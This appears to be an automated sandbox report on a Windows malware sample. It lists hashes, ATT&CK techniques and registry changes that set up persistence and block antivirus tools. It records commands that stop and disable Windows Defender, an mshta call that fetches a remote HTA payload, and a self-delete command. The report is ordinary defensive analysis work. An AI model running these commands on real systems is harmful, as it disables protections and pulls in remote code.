01ec3e0a5dd5eba50af5c5c0afaacc802c19393982a601e917dff22d90b05880

Analysis

max time kernel
1s
max time network
123s
platform
windows7_x64
resource
win7-20231215-en
resource tags

arch:x64arch:x86image:win7-20231215-enlocale:en-usos:windows7-x64system
submitted
11/01/2024, 20:29

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General

Target

538c7bed1041f2dc8ed93af435922499.exe
Size

1.7MB
MD5

538c7bed1041f2dc8ed93af435922499
SHA1

f837eb2943098893d02fc07562a1992bccdf3870
SHA256

01ec3e0a5dd5eba50af5c5c0afaacc802c19393982a601e917dff22d90b05880
SHA512

3d32e49967c25103b1620158cf93bb12360b64b04cd6a47aad5c5bb07792fa93587cfaabdae490286b10d03358630667b4cd215f185e502497b9a6c7abee18a5
SSDEEP

24576:VxZY9QHZy/U6znFxSnMf0eXloYfUXr8Wfq7E4FC15LyAhnxCsgj5pzvXtMLJ+:1WUAXEyV8ok4I15GABY/tp9

Score

10^/10

evasion persistence

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://pcguarrantor-utility.com/favicon.ico?0=67&1=0&2=2&3=66&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000

Signatures

Modifies WinLogon for persistence 2 TTPs 1 IoCs

persistence

Winlogon Helper DLL

T1547.004

Modify Registry

T1112

description	ioc	Process
Set value (str)	\REGISTRY\USER\S-1-5-21-3818056530-936619650-3554021955-1000\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell = "C:\\Users\\Admin\\AppData\\Roaming\\Microsoft\\vtjceg.exe"	vtjceg.exe

Sets file execution options in registry 2 TTPs 16 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe	vtjceg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msascui.exe\Debugger = "svchost.exe"	vtjceg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe	vtjceg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe	vtjceg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe\Debugger = "svchost.exe"	vtjceg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe	vtjceg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe\Debugger = "svchost.exe"	vtjceg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msseces.exe	vtjceg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe	vtjceg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\egui.exe\Debugger = "svchost.exe"	vtjceg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\ekrn.exe\Debugger = "svchost.exe"	vtjceg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastui.exe\Debugger = "svchost.exe"	vtjceg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe	vtjceg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\avastsvc.exe\Debugger = "svchost.exe"	vtjceg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\afwserv.exe\Debugger = "svchost.exe"	vtjceg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\msmpeng.exe	vtjceg.exe

Stops running service(s) 3 TTPs
evasion

Windows Service
T1543.003

Impair Defenses
T1562

Service Stop
T1489

Executes dropped EXE 1 IoCs

pid	Process
1912	vtjceg.exe

Loads dropped DLL 2 IoCs

pid	Process
2168	538c7bed1041f2dc8ed93af435922499.exe
2168	538c7bed1041f2dc8ed93af435922499.exe

Launches sc.exe 6 IoCs

Sc.exe is a Windows utlilty to control services on the system.

pid	Process
2756	sc.exe
2796	sc.exe
2764	sc.exe
2572	sc.exe
1224	sc.exe
2900	sc.exe

Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
1912	vtjceg.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	1912	vtjceg.exe
Token: SeShutdownPrivilege	1912	vtjceg.exe
Token: SeDebugPrivilege	1912	vtjceg.exe
Token: SeShutdownPrivilege	1912	vtjceg.exe

Suspicious use of FindShellTrayWindow 4 IoCs

pid	Process
1912	vtjceg.exe
1912	vtjceg.exe
1912	vtjceg.exe
1912	vtjceg.exe

Suspicious use of WriteProcessMemory 48 IoCs

description	pid	Process	procid_target
PID 2168 wrote to memory of 2572	2168	538c7bed1041f2dc8ed93af435922499.exe	16
PID 2168 wrote to memory of 2572	2168	538c7bed1041f2dc8ed93af435922499.exe	16
PID 2168 wrote to memory of 2572	2168	538c7bed1041f2dc8ed93af435922499.exe	16
PID 2168 wrote to memory of 2572	2168	538c7bed1041f2dc8ed93af435922499.exe	16
PID 2168 wrote to memory of 2764	2168	538c7bed1041f2dc8ed93af435922499.exe	37
PID 2168 wrote to memory of 2764	2168	538c7bed1041f2dc8ed93af435922499.exe	37
PID 2168 wrote to memory of 2764	2168	538c7bed1041f2dc8ed93af435922499.exe	37
PID 2168 wrote to memory of 2764	2168	538c7bed1041f2dc8ed93af435922499.exe	37
PID 2168 wrote to memory of 2600	2168	538c7bed1041f2dc8ed93af435922499.exe	34
PID 2168 wrote to memory of 2600	2168	538c7bed1041f2dc8ed93af435922499.exe	34
PID 2168 wrote to memory of 2600	2168	538c7bed1041f2dc8ed93af435922499.exe	34
PID 2168 wrote to memory of 2600	2168	538c7bed1041f2dc8ed93af435922499.exe	34
PID 2168 wrote to memory of 2796	2168	538c7bed1041f2dc8ed93af435922499.exe	33
PID 2168 wrote to memory of 2796	2168	538c7bed1041f2dc8ed93af435922499.exe	33
PID 2168 wrote to memory of 2796	2168	538c7bed1041f2dc8ed93af435922499.exe	33
PID 2168 wrote to memory of 2796	2168	538c7bed1041f2dc8ed93af435922499.exe	33
PID 2168 wrote to memory of 1912	2168	538c7bed1041f2dc8ed93af435922499.exe	17
PID 2168 wrote to memory of 1912	2168	538c7bed1041f2dc8ed93af435922499.exe	17
PID 2168 wrote to memory of 1912	2168	538c7bed1041f2dc8ed93af435922499.exe	17
PID 2168 wrote to memory of 1912	2168	538c7bed1041f2dc8ed93af435922499.exe	17
PID 2168 wrote to memory of 1360	2168	538c7bed1041f2dc8ed93af435922499.exe	30
PID 2168 wrote to memory of 1360	2168	538c7bed1041f2dc8ed93af435922499.exe	30
PID 2168 wrote to memory of 1360	2168	538c7bed1041f2dc8ed93af435922499.exe	30
PID 2168 wrote to memory of 1360	2168	538c7bed1041f2dc8ed93af435922499.exe	30
PID 2600 wrote to memory of 2780	2600	net.exe	28
PID 2600 wrote to memory of 2780	2600	net.exe	28
PID 2600 wrote to memory of 2780	2600	net.exe	28
PID 2600 wrote to memory of 2780	2600	net.exe	28
PID 1912 wrote to memory of 2756	1912	vtjceg.exe	27
PID 1912 wrote to memory of 2756	1912	vtjceg.exe	27
PID 1912 wrote to memory of 2756	1912	vtjceg.exe	27
PID 1912 wrote to memory of 2756	1912	vtjceg.exe	27
PID 1912 wrote to memory of 2900	1912	vtjceg.exe	26
PID 1912 wrote to memory of 2900	1912	vtjceg.exe	26
PID 1912 wrote to memory of 2900	1912	vtjceg.exe	26
PID 1912 wrote to memory of 2900	1912	vtjceg.exe	26
PID 1912 wrote to memory of 2436	1912	vtjceg.exe	25
PID 1912 wrote to memory of 2436	1912	vtjceg.exe	25
PID 1912 wrote to memory of 2436	1912	vtjceg.exe	25
PID 1912 wrote to memory of 2436	1912	vtjceg.exe	25
PID 1912 wrote to memory of 1224	1912	vtjceg.exe	18
PID 1912 wrote to memory of 1224	1912	vtjceg.exe	18
PID 1912 wrote to memory of 1224	1912	vtjceg.exe	18
PID 1912 wrote to memory of 1224	1912	vtjceg.exe	18
PID 1912 wrote to memory of 1708	1912	vtjceg.exe	21
PID 1912 wrote to memory of 1708	1912	vtjceg.exe	21
PID 1912 wrote to memory of 1708	1912	vtjceg.exe	21
PID 1912 wrote to memory of 1708	1912	vtjceg.exe	21

C:\Windows\SysWOW64\sc.exe
sc stop WinDefend
1⤵
- Launches sc.exe
PID:2572

C:\Users\Admin\AppData\Roaming\Microsoft\vtjceg.exe
C:\Users\Admin\AppData\Roaming\Microsoft\vtjceg.exe
1⤵
- Modifies WinLogon for persistence
- Sets file execution options in registry
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
- Suspicious use of WriteProcessMemory
PID:1912
- C:\Windows\SysWOW64\sc.exe
  sc config msmpsvc start= disabled
  2⤵
  - Launches sc.exe
  PID:1224
- C:\Windows\SysWOW64\mshta.exe
  mshta.exe "http://pcguarrantor-utility.com/favicon.ico?0=67&1=0&2=2&3=66&4=i-s&5=7601&6=6&7=1&8=99600&9=1033&10=0&11=0000"
  2⤵
  PID:1708
- C:\Windows\SysWOW64\net.exe
  net stop msmpsvc
  2⤵
  PID:2436
- C:\Windows\SysWOW64\sc.exe
  sc config WinDefend start= disabled
  2⤵
  - Launches sc.exe
  PID:2900
- C:\Windows\SysWOW64\sc.exe
  sc stop WinDefend
  2⤵
  - Launches sc.exe
  PID:2756

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msmpsvc
1⤵
PID:2020

C:\Windows\SysWOW64\net1.exe
C:\Windows\system32\net1 stop msmpsvc
1⤵
PID:2780

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c del "C:\Users\Admin\AppData\Local\Temp\538C7B~1.EXE" >> NUL
1⤵
PID:1360

C:\Windows\SysWOW64\sc.exe
sc config msmpsvc start= disabled
1⤵
- Launches sc.exe
PID:2796

C:\Windows\SysWOW64\net.exe
net stop msmpsvc
1⤵
- Suspicious use of WriteProcessMemory
PID:2600

C:\Windows\SysWOW64\sc.exe
sc config WinDefend start= disabled
1⤵
- Launches sc.exe
PID:2764

C:\Users\Admin\AppData\Local\Temp\538c7bed1041f2dc8ed93af435922499.exe
"C:\Users\Admin\AppData\Local\Temp\538c7bed1041f2dc8ed93af435922499.exe"
1⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
PID:2168

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Winlogon Helper DLL

T1547.004

Create or Modify System Process

T1543

Windows Service

T1543.003

Defense Evasion

Impair Defenses

T1562

Modify Registry

T1112

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Service Stop

T1489

Replay Monitor

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Downloads

memory/1912-124-0x0000000000400000-0x000000000070A000-memory.dmp

Filesize
3.0MB

Download
memory/2168-0-0x0000000000400000-0x000000000070A000-memory.dmp

Filesize
3.0MB

Download
memory/2168-10-0x00000000033C0000-0x0000000003500000-memory.dmp

Filesize
1.2MB

Download
memory/2168-52-0x0000000000710000-0x000000000076A000-memory.dmp

Filesize
360KB

Download
memory/2168-53-0x00000000039A0000-0x00000000039A1000-memory.dmp

Filesize
4KB

Download
memory/2168-51-0x0000000003A50000-0x0000000003A51000-memory.dmp

Filesize
4KB

Download
memory/2168-68-0x00000000045E0000-0x00000000048EA000-memory.dmp

Filesize
3.0MB

Download
memory/2168-72-0x0000000003B20000-0x0000000003B21000-memory.dmp

Filesize
4KB

Download
memory/2168-71-0x0000000003AF0000-0x0000000003AF1000-memory.dmp

Filesize
4KB

Download
memory/2168-70-0x0000000000400000-0x000000000070A000-memory.dmp

Filesize
3.0MB

Download
memory/2168-69-0x0000000003B00000-0x0000000003B01000-memory.dmp

Filesize
4KB

Download
memory/2168-59-0x0000000003AD0000-0x0000000003AD1000-memory.dmp

Filesize
4KB

Download
memory/2168-58-0x0000000003AB0000-0x0000000003AB1000-memory.dmp

Filesize
4KB

Download
memory/2168-57-0x0000000003A90000-0x0000000003A91000-memory.dmp

Filesize
4KB

Download
memory/2168-56-0x0000000003AA0000-0x0000000003AA1000-memory.dmp

Filesize
4KB

Download
memory/2168-55-0x0000000003A70000-0x0000000003A71000-memory.dmp

Filesize
4KB

Download
memory/2168-54-0x0000000003A80000-0x0000000003A81000-memory.dmp

Filesize
4KB

Download
memory/2168-50-0x0000000003A30000-0x0000000003A31000-memory.dmp

Filesize
4KB

Download
memory/2168-49-0x0000000003A40000-0x0000000003A41000-memory.dmp

Filesize
4KB

Download
memory/2168-48-0x0000000003A10000-0x0000000003A11000-memory.dmp

Filesize
4KB

Download
memory/2168-47-0x0000000003A20000-0x0000000003A21000-memory.dmp

Filesize
4KB

Download
memory/2168-46-0x00000000039F0000-0x00000000039F1000-memory.dmp

Filesize
4KB

Download
memory/2168-45-0x0000000003A00000-0x0000000003A01000-memory.dmp

Filesize
4KB

Download
memory/2168-44-0x00000000039D0000-0x00000000039D1000-memory.dmp

Filesize
4KB

Download
memory/2168-43-0x00000000039E0000-0x00000000039E1000-memory.dmp

Filesize
4KB

Download
memory/2168-42-0x00000000039B0000-0x00000000039B1000-memory.dmp

Filesize
4KB

Download
memory/2168-41-0x00000000039C0000-0x00000000039C1000-memory.dmp

Filesize
4KB

Download
memory/2168-40-0x00000000035A0000-0x00000000035A1000-memory.dmp

Filesize
4KB

Download
memory/2168-39-0x0000000003580000-0x0000000003581000-memory.dmp

Filesize
4KB

Download
memory/2168-38-0x0000000003590000-0x0000000003591000-memory.dmp

Filesize
4KB

Download
memory/2168-37-0x0000000003560000-0x0000000003561000-memory.dmp

Filesize
4KB

Download
memory/2168-36-0x0000000003570000-0x0000000003571000-memory.dmp

Filesize
4KB

Download
memory/2168-35-0x0000000003540000-0x0000000003541000-memory.dmp

Filesize
4KB

Download
memory/2168-34-0x0000000003550000-0x0000000003551000-memory.dmp

Filesize
4KB

Download
memory/2168-33-0x0000000003520000-0x0000000003521000-memory.dmp

Filesize
4KB

Download
memory/2168-32-0x0000000003530000-0x0000000003531000-memory.dmp

Filesize
4KB

Download
memory/2168-31-0x0000000003500000-0x0000000003501000-memory.dmp

Filesize
4KB

Download
memory/2168-30-0x0000000003510000-0x0000000003511000-memory.dmp

Filesize
4KB

Download
memory/2168-29-0x00000000033A0000-0x00000000033A1000-memory.dmp

Filesize
4KB

Download
memory/2168-28-0x00000000033B0000-0x00000000033B1000-memory.dmp

Filesize
4KB

Download
memory/2168-27-0x0000000003380000-0x0000000003381000-memory.dmp

Filesize
4KB

Download
memory/2168-26-0x0000000003390000-0x0000000003391000-memory.dmp

Filesize
4KB

Download
memory/2168-25-0x0000000003360000-0x0000000003361000-memory.dmp

Filesize
4KB

Download
memory/2168-24-0x0000000003370000-0x0000000003371000-memory.dmp

Filesize
4KB

Download
memory/2168-23-0x0000000002710000-0x0000000002711000-memory.dmp

Filesize
4KB

Download
memory/2168-22-0x0000000003350000-0x0000000003351000-memory.dmp

Filesize
4KB

Download
memory/2168-21-0x0000000002290000-0x0000000002291000-memory.dmp

Filesize
4KB

Download
memory/2168-20-0x0000000002660000-0x0000000002661000-memory.dmp

Filesize
4KB

Download
memory/2168-19-0x00000000003B0000-0x00000000003B1000-memory.dmp

Filesize
4KB

Download
memory/2168-18-0x00000000007D0000-0x00000000007D1000-memory.dmp

Filesize
4KB

Download
memory/2168-17-0x0000000003300000-0x0000000003301000-memory.dmp

Filesize
4KB

Download
memory/2168-16-0x0000000000230000-0x0000000000231000-memory.dmp

Filesize
4KB

Download
memory/2168-15-0x0000000000220000-0x0000000000221000-memory.dmp

Filesize
4KB

Download
memory/2168-14-0x0000000003340000-0x0000000003341000-memory.dmp

Filesize
4KB

Download
memory/2168-13-0x00000000032D0000-0x00000000032D3000-memory.dmp

Filesize
12KB

Download
memory/2168-12-0x0000000003330000-0x0000000003331000-memory.dmp

Filesize
4KB

Download
memory/2168-11-0x00000000033C0000-0x0000000003500000-memory.dmp

Filesize
1.2MB

Download
memory/2168-9-0x00000000033C0000-0x0000000003500000-memory.dmp

Filesize
1.2MB

Download
memory/2168-8-0x00000000032E0000-0x00000000032E2000-memory.dmp

Filesize
8KB

Download
memory/2168-7-0x00000000032F0000-0x00000000032F1000-memory.dmp

Filesize
4KB

Download
memory/2168-6-0x00000000007C0000-0x00000000007C1000-memory.dmp

Filesize
4KB

Download
memory/2168-5-0x0000000000770000-0x0000000000771000-memory.dmp

Filesize
4KB

Download
memory/2168-4-0x00000000007A0000-0x00000000007A1000-memory.dmp

Filesize
4KB

Download
memory/2168-3-0x00000000003C0000-0x00000000003C1000-memory.dmp

Filesize
4KB

Download
memory/2168-2-0x00000000003D0000-0x00000000003D1000-memory.dmp

Filesize
4KB

Download
memory/2168-1-0x00000000003E0000-0x00000000003E1000-memory.dmp

Filesize
4KB

Download